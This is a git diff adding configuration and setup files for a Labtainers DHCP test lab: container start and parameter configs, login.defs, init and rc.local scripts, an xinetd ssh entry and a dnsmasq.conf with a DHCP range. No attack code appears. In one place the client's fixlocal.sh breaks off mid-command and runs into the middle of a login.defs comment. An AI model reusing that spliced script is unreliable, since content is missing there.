a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_bin/fixlocal.sh new file mode 100755 index 000000000..17bb53f76 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_bin/fixlocal.sh @@ -0,0 +1,17 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +newpwd=studentCLONE_NUM +user=$2 +/usr/bin/passwd $user < 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/rc.local new file mode 100755 index 000000000..f0032c655 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/rc.local @@ -0,0 +1,6 @@ +#!/bin/bash +echo "dl $DISTRIBUTED_LABTAINER" >> /tmp/rc.log +env >> /tmp/rc.log +if [ "$DISTRIBUTED_LABTAINER" == client ]; then + /sbin/dhclient-labtainer eth0 +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/sbin/faux_init new file mode 100755 index 000000000..8760ae5e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/client/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +export DISTRIBUTED_LABTAINER=$1 +service rsyslog start +# using service vice explicit init.d path loses env +# so use explicit because rc.local needs the env +/etc/init.d/rc.local start +service xinetd start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/parameter.config new file mode 100644 index 000000000..d3cf9cd1a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/parameter.config @@ -0,0 +1,6 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +PASSWD : CLONE_REPLACE : client:.local/bin/fixlocal.sh : CLONE_NUM : CLONE + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/start.config new file mode 100644 index 000000000..5a571e4a4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/config/start.config @@ -0,0 +1,75 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED client_mike_master_seed + + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 192.168.1.0/24 + GATEWAY 192.168.1.101 + IP_RANGE 192.168.1.0/24 + MACVLAN 1 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER client + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + CLIENT YES + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + LAN 192.168.1.10+CLONE_MAC + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER dhcp + # user name of user who interacts with the container. + USER ubuntu + LAN 192.168.1.3 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/dnsmasq.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/dnsmasq.conf new file mode 100644 index 000000000..46930ba57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/dhcp/_system/etc/dnsmasq.conf @@ -0,0 +1,667 @@ +# Configuration file for dnsmasq. +# +# Format is one option per line, legal options are the same +# as the long options legal on the command line. See +# "/usr/sbin/dnsmasq --help" or "man 8 dnsmasq" for details. + +# Listen on this specific port instead of the standard DNS port +# (53). Setting this to zero completely disables DNS function, +# leaving only DHCP and/or TFTP. +#port=5353 + +# The following two options make you a better netizen, since they +# tell dnsmasq to filter out queries which the public DNS cannot +# answer, and which load the servers (especially the root servers) +# unnecessarily. If you have a dial-on-demand link they also stop +# these requests from bringing up the link unnecessarily. + +# Never forward plain names (without a dot or domain part) +#domain-needed +# Never forward addresses in the non-routed address spaces. +#bogus-priv + +# Uncomment these to enable DNSSEC validation and caching: +# (Requires dnsmasq to be built with DNSSEC option.) +#conf-file=%%PREFIX%%/share/dnsmasq/trust-anchors.conf +#dnssec + +# Replies which are not DNSSEC signed may be legitimate, because the domain +# is unsigned, or may be forgeries. Setting this option tells dnsmasq to +# check that an unsigned reply is OK, by finding a secure proof that a DS +# record somewhere between the root and the domain does not exist. +# The cost of setting this is that even queries in unsigned domains will need +# one or more extra DNS queries to verify. +#dnssec-check-unsigned + +# Uncomment this to filter useless windows-originated DNS requests +# which can trigger dial-on-demand links needlessly. +# Note that (amongst other things) this blocks all SRV requests, +# so don't use it if you use eg Kerberos, SIP, XMMP or Google-talk. +# This option only affects forwarding, SRV records originating for +# dnsmasq (via srv-host= lines) are not suppressed by it. +#filterwin2k + +# Change this line if you want dns to get its upstream servers from +# somewhere other that /etc/resolv.conf +#resolv-file= + +# By default, dnsmasq will send queries to any of the upstream +# servers it knows about and tries to favour servers to are known +# to be up. Uncommenting this forces dnsmasq to try each query +# with each server strictly in the order they appear in +# /etc/resolv.conf +#strict-order + +# If you don't want dnsmasq to read /etc/resolv.conf or any other +# file, getting its servers from this file instead (see below), then +# uncomment this. +#no-resolv + +# If you don't want dnsmasq to poll /etc/resolv.conf or other resolv +# files for changes and re-read them then uncomment this. +#no-poll + +# Add other name servers here, with domain specs if they are for +# non-public domains. +#server=/localnet/192.168.0.1 + +# Example of routing PTR queries to nameservers: this will send all +# address->name queries for 192.168.3/24 to nameserver 10.1.2.3 +#server=/3.168.192.in-addr.arpa/10.1.2.3 + +# Add local-only domains here, queries in these domains are answered +# from /etc/hosts or DHCP only. +#local=/localnet/ + +# Add domains which you want to force to an IP address here. +# The example below send any host in double-click.net to a local +# web-server. +#address=/double-click.net/127.0.0.1 + +# --address (and --server) work with IPv6 addresses too. +#address=/www.thekelleys.org.uk/fe80::20d:60ff:fe36:f83 + +# Add the IPs of all queries to yahoo.com, google.com, and their +# subdomains to the vpn and search ipsets: +#ipset=/yahoo.com/google.com/vpn,search + +# You can control how dnsmasq talks to a server: this forces +# queries to 10.1.2.3 to be routed via eth1 +# server=10.1.2.3@eth1 + +# and this sets the source (ie local) address used to talk to +# 10.1.2.3 to 192.168.1.1 port 55 (there must be a interface with that +# IP on the machine, obviously). +# server=10.1.2.3@192.168.1.1#55 + +# If you want dnsmasq to change uid and gid to something other +# than the default, edit the following lines. +#user= +#group= + +# If you want dnsmasq to listen for DHCP and DNS requests only on +# specified interfaces (and the loopback) give the name of the +# interface (eg eth0) here. +# Repeat the line for more than one interface. +#interface= +# Or you can specify which interface _not_ to listen on +#except-interface= +# Or which to listen on by address (remember to include 127.0.0.1 if +# you use this.) +#listen-address= +# If you want dnsmasq to provide only DNS service on an interface, +# configure it as shown above, and then use the following line to +# disable DHCP and TFTP on it. +#no-dhcp-interface= + +# On systems which support it, dnsmasq binds the wildcard address, +# even when it is listening on only some interfaces. It then discards +# requests that it shouldn't reply to. This has the advantage of +# working even when interfaces come and go and change address. If you +# want dnsmasq to really bind only the interfaces it is listening on, +# uncomment this option. About the only time you may need this is when +# running another nameserver on the same machine. +#bind-interfaces + +# If you don't want dnsmasq to read /etc/hosts, uncomment the +# following line. +#no-hosts +# or if you want it to read another file, as well as /etc/hosts, use +# this. +#addn-hosts=/etc/banner_add_hosts + +# Set this (and domain: see below) if you want to have a domain +# automatically added to simple names in a hosts-file. +#expand-hosts + +# Set the domain for dnsmasq. this is optional, but if it is set, it +# does the following things. +# 1) Allows DHCP hosts to have fully qualified domain names, as long +# as the domain part matches this setting. +# 2) Sets the "domain" DHCP option thereby potentially setting the +# domain of all systems configured by DHCP +# 3) Provides the domain part for "expand-hosts" +#domain=thekelleys.org.uk + +# Set a different domain for a particular subnet +#domain=wireless.thekelleys.org.uk,192.168.2.0/24 + +# Same idea, but range rather then subnet +#domain=reserved.thekelleys.org.uk,192.68.3.100,192.168.3.200 + +# Uncomment this to enable the integrated DHCP server, you need +# to supply the range of addresses available for lease and optionally +# a lease time. If you have more than one network, you will need to +# repeat this for each network on which you want to supply DHCP +# service. +#dhcp-range=192.168.0.50,192.168.0.150,12h +dhcp-range=192.168.1.10, 192.168.1.99, 12h + +# This is an example of a DHCP range where the netmask is given. This +# is needed for networks we reach the dnsmasq DHCP server via a relay +# agent. If you don't know what a DHCP relay agent is, you probably +# don't need to worry about this. +#dhcp-range=192.168.0.50,192.168.0.150,255.255.255.0,12h + +# This is an example of a DHCP range which sets a tag, so that +# some DHCP options may be set only for this network. +#dhcp-range=set:red,192.168.0.50,192.168.0.150 + +# Use this DHCP range only when the tag "green" is set. +#dhcp-range=tag:green,192.168.0.50,192.168.0.150,12h + +# Specify a subnet which can't be used for dynamic address allocation, +# is available for hosts with matching --dhcp-host lines. Note that +# dhcp-host declarations will be ignored unless there is a dhcp-range +# of some type for the subnet in question. +# In this case the netmask is implied (it comes from the network +# configuration on the machine running dnsmasq) it is possible to give +# an explicit netmask instead. +#dhcp-range=192.168.0.0,static + +# Enable DHCPv6. Note that the prefix-length does not need to be specified +# and defaults to 64 if missing/ +#dhcp-range=1234::2, 1234::500, 64, 12h + +# Do Router Advertisements, BUT NOT DHCP for this subnet. +#dhcp-range=1234::, ra-only + +# Do Router Advertisements, BUT NOT DHCP for this subnet, also try and +# add names to the DNS for the IPv6 address of SLAAC-configured dual-stack +# hosts. Use the DHCPv4 lease to derive the name, network segment and +# MAC address and assume that the host will also have an +# IPv6 address calculated using the SLAAC alogrithm. +#dhcp-range=1234::, ra-names + +# Do Router Advertisements, BUT NOT DHCP for this subnet. +# Set the lifetime to 46 hours. (Note: minimum lifetime is 2 hours.) +#dhcp-range=1234::, ra-only, 48h + +# Do DHCP and Router Advertisements for this subnet. Set the A bit in the RA +# so that clients can use SLAAC addresses as well as DHCP ones. +#dhcp-range=1234::2, 1234::500, slaac + +# Do Router Advertisements and stateless DHCP for this subnet. Clients will +# not get addresses from DHCP, but they will get other configuration information. +# They will use SLAAC for addresses. +#dhcp-range=1234::, ra-stateless + +# Do stateless DHCP, SLAAC, and generate DNS names for SLAAC addresses +# from DHCPv4 leases. +#dhcp-range=1234::, ra-stateless, ra-names + +# Do router advertisements for all subnets where we're doing DHCPv6 +# Unless overriden by ra-stateless, ra-names, et al, the router +# advertisements will have the M and O bits set, so that the clients +# get addresses and configuration from DHCPv6, and the A bit reset, so the +# clients don't use SLAAC addresses. +#enable-ra + +# Supply parameters for specified hosts using DHCP. There are lots +# of valid alternatives, so we will give examples of each. Note that +# IP addresses DO NOT have to be in the range given above, they just +# need to be on the same network. The order of the parameters in these +# do not matter, it's permissible to give name, address and MAC in any +# order. + +# Always allocate the host with Ethernet address 11:22:33:44:55:66 +# The IP address 192.168.0.60 +#dhcp-host=11:22:33:44:55:66,192.168.0.60 + +# Always set the name of the host with hardware address +# 11:22:33:44:55:66 to be "fred" +#dhcp-host=11:22:33:44:55:66,fred + +# Always give the host with Ethernet address 11:22:33:44:55:66 +# the name fred and IP address 192.168.0.60 and lease time 45 minutes +#dhcp-host=11:22:33:44:55:66,fred,192.168.0.60,45m + +# Give a host with Ethernet address 11:22:33:44:55:66 or +# 12:34:56:78:90:12 the IP address 192.168.0.60. Dnsmasq will assume +# that these two Ethernet interfaces will never be in use at the same +# time, and give the IP address to the second, even if it is already +# in use by the first. Useful for laptops with wired and wireless +# addresses. +#dhcp-host=11:22:33:44:55:66,12:34:56:78:90:12,192.168.0.60 + +# Give the machine which says its name is "bert" IP address +# 192.168.0.70 and an infinite lease +#dhcp-host=bert,192.168.0.70,infinite + +# Always give the host with client identifier 01:02:02:04 +# the IP address 192.168.0.60 +#dhcp-host=id:01:02:02:04,192.168.0.60 + +# Always give the Infiniband interface with hardware address +# 80:00:00:48:fe:80:00:00:00:00:00:00:f4:52:14:03:00:28:05:81 the +# ip address 192.168.0.61. The client id is derived from the prefix +# ff:00:00:00:00:00:02:00:00:02:c9:00 and the last 8 pairs of +# hex digits of the hardware address. +#dhcp-host=id:ff:00:00:00:00:00:02:00:00:02:c9:00:f4:52:14:03:00:28:05:81,192.168.0.61 + +# Always give the host with client identifier "marjorie" +# the IP address 192.168.0.60 +#dhcp-host=id:marjorie,192.168.0.60 + +# Enable the address given for "judge" in /etc/hosts +# to be given to a machine presenting the name "judge" when +# it asks for a DHCP lease. +#dhcp-host=judge + +# Never offer DHCP service to a machine whose Ethernet +# address is 11:22:33:44:55:66 +#dhcp-host=11:22:33:44:55:66,ignore + +# Ignore any client-id presented by the machine with Ethernet +# address 11:22:33:44:55:66. This is useful to prevent a machine +# being treated differently when running under different OS's or +# between PXE boot and OS boot. +#dhcp-host=11:22:33:44:55:66,id:* + +# Send extra options which are tagged as "red" to +# the machine with Ethernet address 11:22:33:44:55:66 +#dhcp-host=11:22:33:44:55:66,set:red + +# Send extra options which are tagged as "red" to +# any machine with Ethernet address starting 11:22:33: +#dhcp-host=11:22:33:*:*:*,set:red + +# Give a fixed IPv6 address and name to client with +# DUID 00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2 +# Note the MAC addresses CANNOT be used to identify DHCPv6 clients. +# Note also the they [] around the IPv6 address are obilgatory. +#dhcp-host=id:00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2, fred, [1234::5] + +# Ignore any clients which are not specified in dhcp-host lines +# or /etc/ethers. Equivalent to ISC "deny unknown-clients". +# This relies on the special "known" tag which is set when +# a host is matched. +#dhcp-ignore=tag:!known + +# Send extra options which are tagged as "red" to any machine whose +# DHCP vendorclass string includes the substring "Linux" +#dhcp-vendorclass=set:red,Linux + +# Send extra options which are tagged as "red" to any machine one +# of whose DHCP userclass strings includes the substring "accounts" +#dhcp-userclass=set:red,accounts + +# Send extra options which are tagged as "red" to any machine whose +# MAC address matches the pattern. +#dhcp-mac=set:red,00:60:8C:*:*:* + +# If this line is uncommented, dnsmasq will read /etc/ethers and act +# on the ethernet-address/IP pairs found there just as if they had +# been given as --dhcp-host options. Useful if you keep +# MAC-address/host mappings there for other purposes. +#read-ethers + +# Send options to hosts which ask for a DHCP lease. +# See RFC 2132 for details of available options. +# Common options can be given to dnsmasq by name: +# run "dnsmasq --help dhcp" to get a list. +# Note that all the common settings, such as netmask and +# broadcast address, DNS server and default route, are given +# sane defaults by dnsmasq. You very likely will not need +# any dhcp-options. If you use Windows clients and Samba, there +# are some options which are recommended, they are detailed at the +# end of this section. + +# Override the default route supplied by dnsmasq, which assumes the +# router is the same machine as the one running dnsmasq. +#dhcp-option=3,1.2.3.4 + +# Do the same thing, but using the option name +#dhcp-option=option:router,1.2.3.4 + +# Override the default route supplied by dnsmasq and send no default +# route at all. Note that this only works for the options sent by +# default (1, 3, 6, 12, 28) the same line will send a zero-length option +# for all other option numbers. +#dhcp-option=3 + +# Set the NTP time server addresses to 192.168.0.4 and 10.10.0.5 +#dhcp-option=option:ntp-server,192.168.0.4,10.10.0.5 + +# Send DHCPv6 option. Note [] around IPv6 addresses. +#dhcp-option=option6:dns-server,[1234::77],[1234::88] + +# Send DHCPv6 option for namservers as the machine running +# dnsmasq and another. +#dhcp-option=option6:dns-server,[::],[1234::88] + +# Ask client to poll for option changes every six hours. (RFC4242) +#dhcp-option=option6:information-refresh-time,6h + +# Set option 58 client renewal time (T1). Defaults to half of the +# lease time if not specified. (RFC2132) +#dhcp-option=option:T1:1m + +# Set option 59 rebinding time (T2). Defaults to 7/8 of the +# lease time if not specified. (RFC2132) +#dhcp-option=option:T2:2m + +# Set the NTP time server address to be the same machine as +# is running dnsmasq +#dhcp-option=42,0.0.0.0 + +# Set the NIS domain name to "welly" +#dhcp-option=40,welly + +# Set the default time-to-live to 50 +#dhcp-option=23,50 + +# Set the "all subnets are local" flag +#dhcp-option=27,1 + +# Send the etherboot magic flag and then etherboot options (a string). +#dhcp-option=128,e4:45:74:68:00:00 +#dhcp-option=129,NIC=eepro100 + +# Specify an option which will only be sent to the "red" network +# (see dhcp-range for the declaration of the "red" network) +# Note that the tag: part must precede the option: part. +#dhcp-option = tag:red, option:ntp-server, 192.168.1.1 + +# The following DHCP options set up dnsmasq in the same way as is specified +# for the ISC dhcpcd in +# http://www.samba.org/samba/ftp/docs/textdocs/DHCP-Server-Configuration.txt +# adapted for a typical dnsmasq installation where the host running +# dnsmasq is also the host running samba. +# you may want to uncomment some or all of them if you use +# Windows clients and Samba. +#dhcp-option=19,0 # option ip-forwarding off +#dhcp-option=44,0.0.0.0 # set netbios-over-TCP/IP nameserver(s) aka WINS server(s) +#dhcp-option=45,0.0.0.0 # netbios datagram distribution server +#dhcp-option=46,8 # netbios node type + +# Send an empty WPAD option. This may be REQUIRED to get windows 7 to behave. +#dhcp-option=252,"\n" + +# Send RFC-3397 DNS domain search DHCP option. WARNING: Your DHCP client +# probably doesn't support this...... +#dhcp-option=option:domain-search,eng.apple.com,marketing.apple.com + +# Send RFC-3442 classless static routes (note the netmask encoding) +#dhcp-option=121,192.168.1.0/24,1.2.3.4,10.0.0.0/8,5.6.7.8 + +# Send vendor-class specific options encapsulated in DHCP option 43. +# The meaning of the options is defined by the vendor-class so +# options are sent only when the client supplied vendor class +# matches the class given here. (A substring match is OK, so "MSFT" +# matches "MSFT" and "MSFT 5.0"). This example sets the +# mtftp address to 0.0.0.0 for PXEClients. +#dhcp-option=vendor:PXEClient,1,0.0.0.0 + +# Send microsoft-specific option to tell windows to release the DHCP lease +# when it shuts down. Note the "i" flag, to tell dnsmasq to send the +# value as a four-byte integer - that's what microsoft wants. See +# http://technet2.microsoft.com/WindowsServer/en/library/a70f1bb7-d2d4-49f0-96d6-4b7414ecfaae1033.mspx?mfr=true +#dhcp-option=vendor:MSFT,2,1i + +# Send the Encapsulated-vendor-class ID needed by some configurations of +# Etherboot to allow is to recognise the DHCP server. +#dhcp-option=vendor:Etherboot,60,"Etherboot" + +# Send options to PXELinux. Note that we need to send the options even +# though they don't appear in the parameter request list, so we need +# to use dhcp-option-force here. +# See http://syslinux.zytor.com/pxe.php#special for details. +# Magic number - needed before anything else is recognised +#dhcp-option-force=208,f1:00:74:7e +# Configuration file name +#dhcp-option-force=209,configs/common +# Path prefix +#dhcp-option-force=210,/tftpboot/pxelinux/files/ +# Reboot time. (Note 'i' to send 32-bit value) +#dhcp-option-force=211,30i + +# Set the boot filename for netboot/PXE. You will only need +# this is you want to boot machines over the network and you will need +# a TFTP server; either dnsmasq's built in TFTP server or an +# external one. (See below for how to enable the TFTP server.) +#dhcp-boot=pxelinux.0 + +# The same as above, but use custom tftp-server instead machine running dnsmasq +#dhcp-boot=pxelinux,server.name,192.168.1.100 + +# Boot for Etherboot gPXE. The idea is to send two different +# filenames, the first loads gPXE, and the second tells gPXE what to +# load. The dhcp-match sets the gpxe tag for requests from gPXE. +#dhcp-match=set:gpxe,175 # gPXE sends a 175 option. +#dhcp-boot=tag:!gpxe,undionly.kpxe +#dhcp-boot=mybootimage + +# Encapsulated options for Etherboot gPXE. All the options are +# encapsulated within option 175 +#dhcp-option=encap:175, 1, 5b # priority code +#dhcp-option=encap:175, 176, 1b # no-proxydhcp +#dhcp-option=encap:175, 177, string # bus-id +#dhcp-option=encap:175, 189, 1b # BIOS drive code +#dhcp-option=encap:175, 190, user # iSCSI username +#dhcp-option=encap:175, 191, pass # iSCSI password + +# Test for the architecture of a netboot client. PXE clients are +# supposed to send their architecture as option 93. (See RFC 4578) +#dhcp-match=peecees, option:client-arch, 0 #x86-32 +#dhcp-match=itanics, option:client-arch, 2 #IA64 +#dhcp-match=hammers, option:client-arch, 6 #x86-64 +#dhcp-match=mactels, option:client-arch, 7 #EFI x86-64 + +# Do real PXE, rather than just booting a single file, this is an +# alternative to dhcp-boot. +#pxe-prompt="What system shall I netboot?" +# or with timeout before first available action is taken: +#pxe-prompt="Press F8 for menu.", 60 + +# Available boot services. for PXE. +#pxe-service=x86PC, "Boot from local disk" + +# Loads /pxelinux.0 from dnsmasq TFTP server. +#pxe-service=x86PC, "Install Linux", pxelinux + +# Loads /pxelinux.0 from TFTP server at 1.2.3.4. +# Beware this fails on old PXE ROMS. +#pxe-service=x86PC, "Install Linux", pxelinux, 1.2.3.4 + +# Use bootserver on network, found my multicast or broadcast. +#pxe-service=x86PC, "Install windows from RIS server", 1 + +# Use bootserver at a known IP address. +#pxe-service=x86PC, "Install windows from RIS server", 1, 1.2.3.4 + +# If you have multicast-FTP available, +# information for that can be passed in a similar way using options 1 +# to 5. See page 19 of +# http://download.intel.com/design/archives/wfm/downloads/pxespec.pdf + + +# Enable dnsmasq's built-in TFTP server +#enable-tftp + +# Set the root directory for files available via FTP. +#tftp-root=/var/ftpd + +# Do not abort if the tftp-root is unavailable +#tftp-no-fail + +# Make the TFTP server more secure: with this set, only files owned by +# the user dnsmasq is running as will be send over the net. +#tftp-secure + +# This option stops dnsmasq from negotiating a larger blocksize for TFTP +# transfers. It will slow things down, but may rescue some broken TFTP +# clients. +#tftp-no-blocksize + +# Set the boot file name only when the "red" tag is set. +#dhcp-boot=tag:red,pxelinux.red-net + +# An example of dhcp-boot with an external TFTP server: the name and IP +# address of the server are given after the filename. +# Can fail with old PXE ROMS. Overridden by --pxe-service. +#dhcp-boot=/var/ftpd/pxelinux.0,boothost,192.168.0.3 + +# If there are multiple external tftp servers having a same name +# (using /etc/hosts) then that name can be specified as the +# tftp_servername (the third option to dhcp-boot) and in that +# case dnsmasq resolves this name and returns the resultant IP +# addresses in round robin fasion. This facility can be used to +# load balance the tftp load among a set of servers. +#dhcp-boot=/var/ftpd/pxelinux.0,boothost,tftp_server_name + +# Set the limit on DHCP leases, the default is 150 +#dhcp-lease-max=150 + +# The DHCP server needs somewhere on disk to keep its lease database. +# This defaults to a sane location, but if you want to change it, use +# the line below. +#dhcp-leasefile=/var/lib/misc/dnsmasq.leases + +# Set the DHCP server to authoritative mode. In this mode it will barge in +# and take over the lease for any client which broadcasts on the network, +# whether it has a record of the lease or not. This avoids long timeouts +# when a machine wakes up on a new network. DO NOT enable this if there's +# the slightest chance that you might end up accidentally configuring a DHCP +# server for your campus/company accidentally. The ISC server uses +# the same option, and this URL provides more information: +# http://www.isc.org/files/auth.html +#dhcp-authoritative + +# Run an executable when a DHCP lease is created or destroyed. +# The arguments sent to the script are "add" or "del", +# then the MAC address, the IP address and finally the hostname +# if there is one. +#dhcp-script=/bin/echo + +# Set the cachesize here. +#cache-size=150 + +# If you want to disable negative caching, uncomment this. 